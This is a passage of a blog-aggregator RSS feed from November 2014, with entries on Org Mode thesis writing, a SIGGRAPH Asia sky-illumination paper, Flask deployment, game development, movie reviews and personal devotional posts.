&lt;p&gt;Eventually, this is a matter of choice. Avdi is right: fat tools usually exist for good reasons, not because their authors did not think of a simpler solution. Choosing whether to use them or not has to be a conscious trade-off. I just personally decided there are very few things I want to trade simplicity off against.&lt;/p&gt;</description><author>Separate Concerns</author><pubDate>Sun, 23 Nov 2014 22:45:00 GMT</pubDate><guid isPermaLink="true">https://blog.separateconcerns.com/2014-11-23-lean-tools.html</guid></item><item><title>Reconnaissance on Shadab</title><link>https://trigonaminima.github.io/2014/11/reconnaisance-on-shadab/</link><description>Once, me and Shadab were discussing, how traceable were we on the Internet? So, we decided to do this reconnaissance on each other. This is the documentation of how I did the same on him and how much I could trace him.</description><author>Playground</author><pubDate>Sun, 23 Nov 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://trigonaminima.github.io/2014/11/reconnaisance-on-shadab/</guid></item><item><title>72 hours in London</title><link>https://www.planetjones.net/blog/22-11-2014/72-hours-in-london.html</link><description>A visit to London was long overdue - so we headed for 72 hours of sightseeing, tourist attractions and to stuff our faces full of food!</description><author>Jonathan Jones homepage: planetjones.net</author><pubDate>Sat, 22 Nov 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.planetjones.net/blog/22-11-2014/72-hours-in-london.html</guid></item><item><title>Screenshot Saturday 199</title><link>https://etodd.io/2014/11/21/screenshot-saturday-199/</link><description>&lt;p&gt;"Level design for days" has been my motto for several months now, and this week is no different.&lt;/p&gt;
&lt;p&gt;Behold, new challenge levels! These are timed, bite-sized maps with simple goals that can be completed in under a minute. They're the kind of things you can create in the level editor and share on Steam.&lt;/p&gt;
&lt;a href="https://etodd.io/assets/Amtg3RS.jpg"&gt;&lt;img alt="" class="full" src="https://etodd.io/assets/Amtg3RSl.jpg" /&gt;&lt;/a&gt;&lt;a href="https://etodd.io/assets/IGcnXcu.jpg"&gt;&lt;img alt="" class="full" src="https://etodd.io/assets/IGcnXcul.jpg" /&gt;&lt;/a&gt;&lt;a href="https://etodd.io/assets/xqtlymD.jpg"&gt;&lt;img alt="" class="full" src="https://etodd.io/assets/xqtlymDl.jpg" /&gt;&lt;/a&gt;
&lt;p&gt;I need to find a new texture for that garish green material.&lt;/p&gt;
&lt;p&gt;Lots of other things are happening, but they're more like a million tiny updates rather than a few conveniently screenshot-worthy ones. So that's it for this week! Thanks for reading.&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Fri, 21 Nov 2014 23:48:27 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/11/21/screenshot-saturday-199/</guid></item><item><title>Guardians of the Galaxy</title><link>https://olshansky.info/movie/guardians_of_the_galaxy/</link><description>Olshansky's review of Guardians of the Galaxy</description><author>🦉 olshansky 🦁</author><pubDate>Fri, 21 Nov 2014 16:06:10 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/guardians_of_the_galaxy/</guid></item><item><title>Kelly Sutton: Creator of Designer News &amp;amp; CEO of Layervault</title><link>https://solomon.io/kelly-sutton-creator-of-designer-news-ceo-of-layervault/</link><description>Creating a community is no easy task. When LayerVault founders Kelly Sutton and Allan Grinshtein saw engineers were edging out designers in other communities…</description><author>Sam Solomon</author><pubDate>Fri, 21 Nov 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/kelly-sutton-creator-of-designer-news-ceo-of-layervault/</guid></item><item><title>Pitch Perfect</title><link>https://olshansky.info/movie/pitch_perfect/</link><description>Olshansky's review of Pitch Perfect</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 20 Nov 2014 14:32:41 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/pitch_perfect/</guid></item><item><title>Managing scientific data and interchange with industry</title><link>http://negfeedback.blogspot.com/2014/11/managing-scientific-data-and.html</link><description>I spoke at a recent symposium on the difficulties in managing data interchange with industry.&lt;br /&gt;
&lt;br /&gt;
Just for some context, "industry" here stands for personnel involved in process control and modelling activities. My direct experience is in the petrochemical, mining and paper and pulp industries. I also show an example of data from a piece of analytical equipment.&lt;br /&gt;
&lt;br /&gt;
I've uploaded the source on GitHub&amp;nbsp;&lt;a href="https://github.com/alchemyst/data-interchange"&gt;here&lt;/a&gt;, and you can see the notebook without downloading it by using &lt;a href="http://nbviewer.ipython.org/github/alchemyst/data-interchange/blob/master/Data%20interchange.ipynb"&gt;NBViewer&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
I've spoken about the pattern of intermediates on this blog before (in a slightly different context).&lt;br /&gt;
&lt;br /&gt;
Notably absent from this discussion are any kind of database, since my experience is that if you can't e-mail it, it might as well not exist when talking to the kinds of people I work with. I've used sqlite quite extensively myself, but I have found most people want something they can double-click and just have it work.&lt;br /&gt;
&lt;br /&gt;
If you have different experiences, I'm always eager to learn. I am specifically interested in how people who use client-server databases for their data handle the problem of interchange.</description><author>Negative Feedback</author><pubDate>Thu, 20 Nov 2014 09:38:49 GMT</pubDate><guid isPermaLink="true">http://negfeedback.blogspot.com/2014/11/managing-scientific-data-and.html</guid></item><item><title>Deploying lighttpd, your flask-apps, gunicorn and supervisor with Ansible on CentOS</title><link>https://www.zufallsheld.de/2014/11/19/deploying-lighttpd-your-flask-apps-gunicorn-and-supervisor-with-ansible-on-centos/</link><description>&lt;p&gt;Deploying your first Python-app can be tedious if you want to do everything by yourself. There are many great &lt;a href="https://realpython.com/blog/python/kickstarting-flask-on-ubuntu-setup-and-deployment/"&gt;tutorials&lt;/a&gt; that help you set up all the necessary programs you&amp;#8217;ll need to host your&amp;nbsp;webapp.&lt;/p&gt;
&lt;!-- PELICAN_NO_JINJA --&gt;
&lt;!-- PELICAN_END_SUMMARY --&gt;
&lt;p&gt;And trust me, it&amp;#8217;s not easy: You&amp;#8217;ll have to use a webserver …&lt;/p&gt;</description><author>zufallsheld</author><pubDate>Wed, 19 Nov 2014 23:38:52 GMT</pubDate><guid isPermaLink="true">https://www.zufallsheld.de/2014/11/19/deploying-lighttpd-your-flask-apps-gunicorn-and-supervisor-with-ansible-on-centos/</guid></item><item><title>Prevent People from Forwarding or Replying All in Outlook</title><link>https://justingarrison.com/blog/2014-11-19-prevent-people-from-forwarding-or-replying-all-in-outlook/</link><description>If you frequently send out mass email news letters and keep getting users replying to all recipients, or need to</description><author>Justin Garrison's Homepage</author><pubDate>Wed, 19 Nov 2014 22:30:07 GMT</pubDate><guid isPermaLink="true">https://justingarrison.com/blog/2014-11-19-prevent-people-from-forwarding-or-replying-all-in-outlook/</guid></item><item><title>No more starving snails</title><link>https://liza.io/no-more-starving-snails/</link><description>&lt;p&gt;Dear jar capacity validator,&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m sorry I ever doubted you. I thought you were killing my snails, but really it&amp;rsquo;s my &lt;em&gt;lack&lt;/em&gt; of you that caused the problem. &lt;em&gt;I&lt;/em&gt; am the one guilty of virtual snailslaughter.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Wed, 19 Nov 2014 14:55:06 GMT</pubDate><guid isPermaLink="true">https://liza.io/no-more-starving-snails/</guid></item><item><title>Game of Life: Total War - an analysis</title><link>https://blog.samuellevy.com/post/49-game-of-life-total-war-an-analysis.html</link><description>&lt;p&gt;Approximately 4 weeks ago, I launched a side project, called Game of Life: Total War. It is a multi-player, competitive variant of Conway's Game of Life. It spent some time on the front page of Hacker News, and some time on the front page of /r/programming on Reddit.&lt;/p&gt;&lt;p&gt;Apart from Linode sending me emails at 3AM telling me that my CPU usage was too high (thanks, HN), it all held up pretty well. So far there have been over 3000 challenges created, almost 2000 armies, and about 300 user accounts created (you can create an army and play without creating an account, but accounts let you create and ke…&lt;/p&gt;</description><author>Sam says you should read this</author><pubDate>Wed, 19 Nov 2014 10:52:41 GMT</pubDate><guid isPermaLink="true">https://blog.samuellevy.com/post/49-game-of-life-total-war-an-analysis.html</guid></item><item><title>Writing a Thesis in Org Mode</title><link>https://bastibe.de/2014-11-19-writing-a-thesis-in-org-mode.html</link><description>&lt;p&gt;Most of my peers write all their scientific documents in LaTeX. Being a true believer in the power of Emacs, I opted for writing my master's thesis in &lt;a href="http://orgmode.org/"&gt;Org Mode&lt;/a&gt; instead. Here's my thoughts on this process and how it compares to the usual LaTeX work flow.&lt;/p&gt;
&lt;p&gt;In my area of study, a thesis is a document of about 60 pages that contains numerous figures, math, citations, and the occasional table or source code snippet. Figures are usually graphs that are generated in some programming environment and creating those graphis is a substantial part of writing the thesis.&lt;/p&gt;
&lt;p&gt;Org mode was a huge help in this regard, since it combines the document text and the executable pieces of code. Instead of having a bunch of scripts that generate graphs, and a bunch of LaTeX files that include those graphs, I had one big Org file that included both the thesis text and the graphing code.&lt;/p&gt;
&lt;p&gt;As for the thesis text, I used Org's export functionality to convert the Org source to LaTeX, and compiled a PDF from there. This really works very well: It is very nice to use Org headlines instead of &lt;code&gt;\section{...}&lt;/code&gt;, and clickable Org links instead of &lt;code&gt;\ref{...}&lt;/code&gt;. While this is nice, it is just a change of syntax. I still had to enter the very same things and saving a few characters is not particularly impressive. For example, figures still require a caption, an ID, and a size:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nn"&gt;#+CAPTION:&lt;/span&gt; Modulation tracks of a clarinet recording with and without white noise. The modulation tracks are not normalized.
&lt;span class="nn"&gt;#+ATTR_LATEX:&lt;/span&gt; :width 6in :height 2.5in :float multicolumn
&lt;span class="nn"&gt;#+NAME:&lt;/span&gt; fig:summary_tracks
&lt;span class="p"&gt;[[&lt;/span&gt;&lt;span class="na"&gt;file:images/summary_tracks.pdf&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;In LaTeX, this would be&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;\begin&lt;/span&gt;&lt;span class="nb"&gt;{&lt;/span&gt;figure*&lt;span class="nb"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;\centering&lt;/span&gt;
&lt;span class="k"&gt;\includegraphics&lt;/span&gt;&lt;span class="na"&gt;[width=6in,height=2.5in]&lt;/span&gt;&lt;span class="nb"&gt;{&lt;/span&gt;images/summary&lt;span class="nb"&gt;_&lt;/span&gt;tracks.pdf&lt;span class="nb"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;\caption&lt;/span&gt;&lt;span class="nb"&gt;{&lt;/span&gt;&lt;span class="k"&gt;\label&lt;/span&gt;&lt;span class="nb"&gt;{&lt;/span&gt;fig:summary&lt;span class="nb"&gt;_&lt;/span&gt;tracks&lt;span class="nb"&gt;}&lt;/span&gt;Modulation tracks of a clarinet recording with and without white noise. The modulation tracks are not normalized.&lt;span class="nb"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;\end&lt;/span&gt;&lt;span class="nb"&gt;{&lt;/span&gt;figure*&lt;span class="nb"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;As you can see, there really is not that much of a difference between these two, and you might even consider the LaTeX example more readable. In some other areas, Org mode is simply lacking features: Org does not have any syntax for page formatting, and thus can't create a perfectly formatted title page. Similarly, it can't do un-numbered sections, and it can't do numbered equations. For all of those, I had to fall back to writing LaTeX. This is not a big deal, but it breaks the abstraction.&lt;/p&gt;
&lt;p&gt;A bigger problem is that Org documents include all the chapters in one big file. While Org can deal with large files no problem, it means that LaTeX compiles take a while. In LaTeX, I would have split my document into a number of smaller files that could be separately compiled in order to keep compilation time down. This is confounded by Org's default behavior of deleting intermediate LaTeX files, which forces a full triple-recompile on each export. At the end of my thesis, a full export took about 15 seconds. Not a deal-breaker, but annoying.&lt;/p&gt;
&lt;p&gt;The one thing where Org really shines, though, is the inclusion of code fragments: Most of my figures were created in Python, and Org mode allowed me to include that Python code right in my document. Hit &lt;code&gt;C-c C-c&lt;/code&gt; on any code fragment, and Org ran that code and created a new image file that is automatically included as a figure. This was really tremendously useful!&lt;/p&gt;
&lt;p&gt;At the end of the day, I am not sure whether Org mode is the right tool for writing a thesis. It worked fine, but there were a lot of edge cases and &lt;a href="http://bastibe.de/2014-09-23-org-cite.html"&gt;workarounds&lt;/a&gt;, which made the whole process a bit uncomfortable. The only really strong argument in favor of Org is the way it can include both code and prose in the same document. But maybe a similar thing could be implemented with LaTeX and some literate programming tool.&lt;/p&gt;</description><author>bastibe.de</author><pubDate>Wed, 19 Nov 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://bastibe.de/2014-11-19-writing-a-thesis-in-org-mode.html</guid></item><item><title>SIGGRAPH Asia 2014 Paper- A Framework for the Experimental Comparison of Solar and Skydome Illumination</title><link>https://blog.yiningkarlli.com/2014/11/sky-paper.html</link><description>&lt;p&gt;One of the projects I worked on in my first year as part of Cornell University’s &lt;a href="http://graphics.cornell.edu/"&gt;Program of Computer Graphics&lt;/a&gt; has been published in the November 2014 issue of ACM Transactions on Graphics and is being presented at SIGGRAPH Asia 2014! The paper is “&lt;a href="http://dl.acm.org/citation.cfm?doid=2661229.2661259"&gt;A Framework for the Experimental Comparison of Solar and Skydome Illumination&lt;/a&gt;”, and the team on the project was my junior advisor &lt;a href="http://www.graphics.cornell.edu/~kiderj/"&gt;Joseph T. Kider Jr.&lt;/a&gt;, my lab-mates &lt;a href="http://www.danknowlton.com/"&gt;Dan Knowlton&lt;/a&gt; and &lt;a href="http://www.jeremynewlin.info/"&gt;Jeremy Newlin&lt;/a&gt;, myself, and my main advisor &lt;a href="http://www.graphics.cornell.edu/people/director.html"&gt;Donald P. Greenberg&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The bulk of my work on this project was in implementing and testing sky models inside of &lt;a href="http://www.mitsuba-renderer.org"&gt;Mitsuba&lt;/a&gt; and developing the paper’s sample-driven model. Interestingly, I also did a lot of climbing onto the roof of Cornell’s Rhodes Hall building for this paper; Cornell’s facilities was kind enough to give us access to the roof of Rhodes Hall to set up our capture equipment on. This usually involved Joe, Dan, and myself hauling multiple tripods and backpacks of gear up onto the roof in the morning, and then taking it all back down in the evening. Sunny clear skies can be a rare sight in Ithaca, so getting good captures took an awful lot of attempts!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2014/Nov/siggraphasia2014paper.png"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2014/Nov/siggraphasia2014paper.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here is the paper abstract:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The illumination and appearance of the solar/skydome is critical for many applications in computer graphics, computer vision, and daylighting studies. Unfortunately, physically accurate measurements of this rapidly changing illumination source are difficult to achieve, but necessary for the development of accurate physically-based sky illumination models and comparison studies of existing simulation models.&lt;/p&gt;

  &lt;p&gt;To obtain baseline data of this time-dependent anisotropic light source, we design a novel acquisition setup to simultaneously measure the comprehensive illumination properties. Our hardware design simultaneously acquires its spectral, spatial, and temporal information of the skydome. To achieve this goal, we use a custom built spectral radiance measurement scanner to measure the directional spectral radiance, a pyranometer to measure the irradiance of the entire hemisphere, and a camera to capture high-dynamic range imagery of the sky. The combination of these computer-controlled measurement devices provides a fast way to acquire accurate physical measurements of the solar/skydome. We use the results of our measurements to evaluate many of the strengths and weaknesses of several sun-sky simulation models. We also provide a measurement dataset of sky illumination data for various clear sky conditions and an interactive visualization tool for model comparison analysis available at http://www.graphics.cornell.edu/resources/clearsky/.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The paper and related materials can be found at:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="http://www.graphics.cornell.edu/resources/clearsky/index.htm"&gt;Project Page (Preprint paper, supplemental materials, and SIGGRPAGH Asia materials)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="http://dl.acm.org/citation.cfm?doid=2661229.2661259"&gt;Official Print Version (ACM Library)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Joe Kider will be presenting the paper at &lt;a href="http://sa2014.siggraph.org/en/"&gt;SIGGRAPH Asia 2014&lt;/a&gt; in Shenzen as part of the &lt;a href="http://sa2014.siggraph.org/en/attendees/technical-papers.html?view=session&amp;amp;type=techpapers&amp;amp;sessionid=3"&gt;Light In, Light Out&lt;/a&gt; Technical Papers session. Hopefully our data will prove useful to future research!&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id="addendum-2017-04-26"&gt;Addendum 2017-04-26&lt;/h2&gt;

&lt;p&gt;I added a personal project page for this paper to my website, &lt;a href="http://www.yiningkarlli.com/projects/skydomecompare.html"&gt;located here&lt;/a&gt;. My personal page mirrors the same content found on the main site, including an author’s version of the paper, supplemental materials, and more.&lt;/p&gt;</description><author>Code &amp;amp; Visuals</author><pubDate>Wed, 19 Nov 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.yiningkarlli.com/2014/11/sky-paper.html</guid></item><item><title>Delighting in God</title><link>http://evantravers.com/articles/2014/11/19/delighting-in-god/</link><description>&lt;p&gt;&lt;img alt="shinto" src="https://images.evantravers.com/articles/2014/11/temple.jpg" /&gt;&lt;/p&gt;&lt;blockquote&gt;
&lt;p&gt;Delight yourself in the Lord, and he will give you the desires of your heart.
(‭Psalm‬ ‭37‬:‭4‬ ESV)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Abba, forgive my blindness.&lt;/p&gt;
&lt;p&gt;If this verse read “pause momentarily at the altar, if you look worshipful
enough your request will be granted” then I would be following it to the
letter.&lt;/p&gt;
&lt;p&gt;I have ever glossed over the command and instead hungrily and sinfully lusted
after the blessing. I know well the desires of my heart, and they have driven
me deeper in despair as I wait and wonder.&lt;/p&gt;
&lt;p&gt;I want to learn to delight myself in you. To draw a lasting, deep, fulfilling
joy from my salvation, from your goodness, from your promises. I feel once
again like the the father in Mark 9:24 (slightly modified)… &amp;quot;I delight in you,
help me to delight in you&amp;quot; Recall to my mind your mighty deeds in my life; put
me in a place of peace, knowing that the hands which steer my life rest upon
the throne of the universe.&lt;/p&gt;</description><author>trv.rs</author><pubDate>Wed, 19 Nov 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">http://evantravers.com/articles/2014/11/19/delighting-in-god/</guid></item><item><title>SolarPi - A Flask powered photovoltaic monitor</title><link>https://blog.tafkas.net/2014/11/19/solarpi-a-flask-powered-photovoltaic-monitor/</link><description>After collecting some photovoltaic data using PikoPy and a some readings from the residential meter it was time to put everything together. The data is collected by a couple of scripts triggered by a cronjob every five minutes.
$ crontab -l */5 * * * * python /home/solarpi/kostal_piko.py */5 * * * * python /home/solarpi/collect_meter.py */15 * * * * python /home/solarpi/collect_weather.py  The results are then written into a SQLite database.</description><author>Tafkas Blog</author><pubDate>Wed, 19 Nov 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.tafkas.net/2014/11/19/solarpi-a-flask-powered-photovoltaic-monitor/</guid></item><item><title>IM Days Presentation Materials</title><link>https://www.davidschlachter.com/IM</link><description>Materials for my presentation at ARMA NCR IM Days.</description><author>David Schlachter</author><pubDate>Tue, 18 Nov 2014 19:00:00 GMT</pubDate><guid isPermaLink="true">https://www.davidschlachter.com/IM</guid></item><item><title>The Obligation of The Programmer</title><link>https://nicolaiarocci.com/obligation-programmer/</link><description>&lt;p&gt;Robert C.Martin, of &lt;!-- raw HTML omitted --&gt;Clean Code&lt;!-- raw HTML omitted --&gt; fame, has something to say on the role of we programmers in today’s society.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We rule the world.&lt;/p&gt;
&lt;p&gt;We don’t quite understand this yet. More importantly, the world doesn’t quite understand it yet. Our civilization doesn’t quite realize how dependent it has become on software — on us.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;He goes as far as suggesting a programmer’s code of conduct of sorts. Food for thought I guess, although I suspect we’re too much of a wild and scattered bunch for something like that to really stick.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Tue, 18 Nov 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/obligation-programmer/</guid></item><item><title>Supercharge your Android Application-1(The List).</title><link>https://prashamhtrivedi.in/supercharge-android-application-1.html</link><description>In the inaugural part of the series, I have covered ListFragments and it&amp;rsquo;s single advantage while having full control over the fragment and it&amp;rsquo;s layout. It will reduce the pain of managing or showing the progress, because ListFragment does it automatically for you</description><author>Prasham H Trivedi</author><pubDate>Mon, 17 Nov 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://prashamhtrivedi.in/supercharge-android-application-1.html</guid></item><item><title>Python-like generator functions</title><link>https://blog.gnoack.org/post/generators</link><description>&lt;p&gt;Python-like generator functions, implemented as a library:&lt;/p&gt;
&lt;figure&gt;
&lt;img alt="" src="/images/fn-generators.png" /&gt;
&lt;figcaption&gt;&lt;p&gt;Generator functions implemented as a library&lt;/p&gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;This is possible through two simple tricks:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The language represents stack frames as objects on the heap.&lt;/li&gt;
&lt;li&gt;There&amp;rsquo;s a native function for grabbing the current stack frame.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Turns out replacing the calling stack frame is really the only thing
you need in order to implement coroutines and generics.&lt;/p&gt;
&lt;p&gt;The implementation is only 23 lines long.  On my screen, including the
screenshot, this weblog article is already longer up until here.&lt;/p&gt;</description><author>Blog on blog.gnoack.org</author><pubDate>Sun, 16 Nov 2014 20:41:00 GMT</pubDate><guid isPermaLink="true">https://blog.gnoack.org/post/generators</guid></item><item><title>What Does “Free as in Speech” or “Free as in Beer” Really Mean?</title><link>https://justingarrison.com/blog/2014-11-15-what-do-the-phrases-free-speech-vs.-free-beer-really-mean/</link><description>In the open source community you’ll often hear the phrase “free as in speech” or “free as in beer” in</description><author>Justin Garrison's Homepage</author><pubDate>Sat, 15 Nov 2014 23:04:05 GMT</pubDate><guid isPermaLink="true">https://justingarrison.com/blog/2014-11-15-what-do-the-phrases-free-speech-vs.-free-beer-really-mean/</guid></item><item><title>Fury</title><link>https://olshansky.info/movie/fury/</link><description>Olshansky's review of Fury</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 15 Nov 2014 19:12:46 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/fury/</guid></item><item><title>Edge of Tomorrow</title><link>https://olshansky.info/movie/edge_of_tomorrow/</link><description>Olshansky's review of Edge of Tomorrow</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 15 Nov 2014 19:10:52 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/edge_of_tomorrow/</guid></item><item><title>A Most Wanted Man</title><link>https://olshansky.info/movie/a_most_wanted_man/</link><description>Olshansky's review of A Most Wanted Man</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 15 Nov 2014 19:08:58 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/a_most_wanted_man/</guid></item><item><title>Gridloche: Realtime Multiplayer Go-Like with RPG Elements</title><link>https://thomashunter.name/posts/2014-11-15-gridloche-realtime-multiplayer-go-like-with-rpg-elements</link><author>Thomas Hunter II</author><pubDate>Sat, 15 Nov 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2014-11-15-gridloche-realtime-multiplayer-go-like-with-rpg-elements</guid></item><item><title>grepr - 7DFPS 2014</title><link>https://etodd.io/2014/11/14/grepr-7dfps-2014/</link><description>&lt;p&gt;I survived &lt;a href="http://7dfps.com/"&gt;7DFPS&lt;/a&gt;, barely. Here are some fascinating statistics:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Days to create an FPS: 7&lt;/li&gt;
&lt;li&gt;Hours spent: 93&lt;/li&gt;
&lt;li&gt;Levels built: 5&lt;/li&gt;
&lt;li&gt;Lines of code written: 2313&lt;/li&gt;
&lt;li&gt;Hours to spare before deadline: 2&lt;/li&gt;
&lt;li&gt;Functioning brain cells remaining: approximately 4&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I'm happy with the result, though. &lt;a href="http://jackmenhorn.com/"&gt;Jack&lt;/a&gt; did a great job on the audio as usual, although at the last minute I had to throw in some clunky placeholder &lt;a href="http://www.drpetter.se/project_sfxr.html"&gt;sfxr&lt;/a&gt; sounds. Blame me for those! Maybe we'll replace them later.&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Fri, 14 Nov 2014 19:25:10 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/11/14/grepr-7dfps-2014/</guid></item><item><title>The Divergent Series: Insurgent</title><link>https://olshansky.info/movie/the_divergent_series_insurgent/</link><description>Olshansky's review of The Divergent Series: Insurgent</description><author>🦉 olshansky 🦁</author><pubDate>Fri, 14 Nov 2014 03:02:39 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/the_divergent_series_insurgent/</guid></item><item><title>If I Were Judge</title><link>http://evantravers.com/articles/2014/11/14/if-i-were-judge/</link><description>&lt;p&gt;&lt;img alt="peace" src="https://images.evantravers.com/articles/2014/11/hp40.jpg" /&gt;&lt;/p&gt;&lt;blockquote&gt;
&lt;p&gt;Then Absalom would say, “Oh that I were judge in the land! Then every man
with a dispute or cause might come to me, and I would give him justice.” (&lt;a href="https://bible.com/59/2sa.15.4.esv"&gt;2
Samuel 15:4&lt;/a&gt;)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Jesus, I simultaneously love and hate this story. I remember as a kid reading
those Bible story comic books furiously booing Absalom's Loki-esque
manipulations, his impetuous and ungrateful attitude towards his father David.
As I grew older, my heart understood a bit of his growing resentment after the
disgrace to his sister Tamar, but I still tend to sinfully cheer his fitting
but tragic end, a victim of his own cowardice and ultimately his vanity.&lt;/p&gt;
&lt;p&gt;As my path through scripture found me here this morning, I chuckled to myself
as I read the melodramatic manipulation tactics that Absalom is employing here.
Then you convicted me once more, in a part of scripture that I never thought
would be applicable to me. Oh how blind I am.&lt;/p&gt;
&lt;p&gt;Lord, I &lt;em&gt;am&lt;/em&gt; Absalom. I constantly look about at your kingdom, and my wicked
and silly heart sits in the gate and bemoans &amp;quot;if only I were king, this would
be set right!&amp;quot; How foolish! I am an adopted son of a good and wise king, an
heir and blessed with my crimes forgiven. How could I look around and desire a
different world? Please forgive me. I know you are in control, that your plan
is far more perfect and sound than David's kingdom. Please invade my heart
fully, flood my soul with peace in my present and gloriously saved state. I
surrender my will, please help me to surrender more and more till all my
earthly plans begin and end with &amp;quot;If the Lord wills.&amp;quot; I pray this in Jesus'
precious and all-consuming name, amen.&lt;/p&gt;</description><author>trv.rs</author><pubDate>Fri, 14 Nov 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">http://evantravers.com/articles/2014/11/14/if-i-were-judge/</guid></item><item><title>GMOs explained</title><link>https://jasoneckert.github.io/myblog/gmos-explained/</link><description>&lt;p&gt;&lt;img alt="Bullshit" src="bullshit.png#right" title="Bullshit" /&gt;&lt;/p&gt;
&lt;p&gt;Like many other people who hold a degree in science, I look at people who are currently upset about GMO products with pity and disdain.  They don’t know what it is, but they’re willing to call it evil for whatever reason.&lt;/p&gt;
&lt;p&gt;GMO stands for genetically modified organism, which is essentially any organism (plant, animal, amoeba, etc.) that has had its DNA modified in some way.  DNA are the blueprints of a living cell that in turn produce the RNA that produces the proteins that make up the useful bits of the cell itself.&lt;/p&gt;</description><author>Jason Eckert's Website and Blog</author><pubDate>Fri, 14 Nov 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://jasoneckert.github.io/myblog/gmos-explained/</guid></item><item><title>My tmux config and a small tmux primer</title><link>https://blog.erethon.com/blog/2014/11/13/my-tmux-config-and-a-small-tmux-primer/</link><description>&lt;p&gt;
It's been a little over a month since I started using tmux. Below,
I'll try to explain most of my &lt;code class="verbatim"&gt;.tmux.conf&lt;/code&gt;, a bit of my current
workflow using &lt;a href="http://awesome.naquadah.org/"&gt;awesome&lt;/a&gt; + tmux and various cool stuff you can do with
tmux. My latest &lt;code class="verbatim"&gt;.tmux.conf&lt;/code&gt; can be found on my &lt;a href="https://github.com/Erethon/dotfiles"&gt;dotfiles repo on
GitHub&lt;/a&gt;.&lt;/p&gt;</description><author>Erethon's Corner</author><pubDate>Thu, 13 Nov 2014 23:48:20 GMT</pubDate><guid isPermaLink="true">https://blog.erethon.com/blog/2014/11/13/my-tmux-config-and-a-small-tmux-primer/</guid></item><item><title>Build Netatalk 3 on Raspberry Pi</title><link>https://www.davidschlachter.com/misc/netatalk3rpi</link><description>How to build Netatalk 3 (with Spotlight support) on Raspberry Pi.</description><author>David Schlachter</author><pubDate>Thu, 13 Nov 2014 19:00:00 GMT</pubDate><guid isPermaLink="true">https://www.davidschlachter.com/misc/netatalk3rpi</guid></item><item><title>The Interview</title><link>https://olshansky.info/movie/the_interview/</link><description>Olshansky's review of The Interview</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 13 Nov 2014 03:20:46 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/the_interview/</guid></item><item><title>Filling The Void</title><link>http://evantravers.com/articles/2014/11/13/filling-the-void/</link><description>&lt;p&gt;&lt;img alt="leaves" src="https://images.evantravers.com/articles/2014/11/leaves.jpg" /&gt;&lt;/p&gt;&lt;p&gt;Abba Father,  I feel the failure of one of my idols today. I have placed my
hope for this week in some thing or someone other than you, and as it fails to
meet my expectations I feel my heart scrounging around for another selfish
opiate. I know my foolish heart well… when one thing disappoints it immediately
tries to fill that hole with some new shiny toy. I run from my disillusionment
to my Amazon wishlist or to another new fulfilling and distracting
conversation, trying to fill the void left by the evaporation of a temporary
and doomed hope.&lt;/p&gt;
&lt;p&gt;Once more, save me from myself. I know that my dissatisfaction with this world
and its contents is designed to point me to you. Please continue to break my
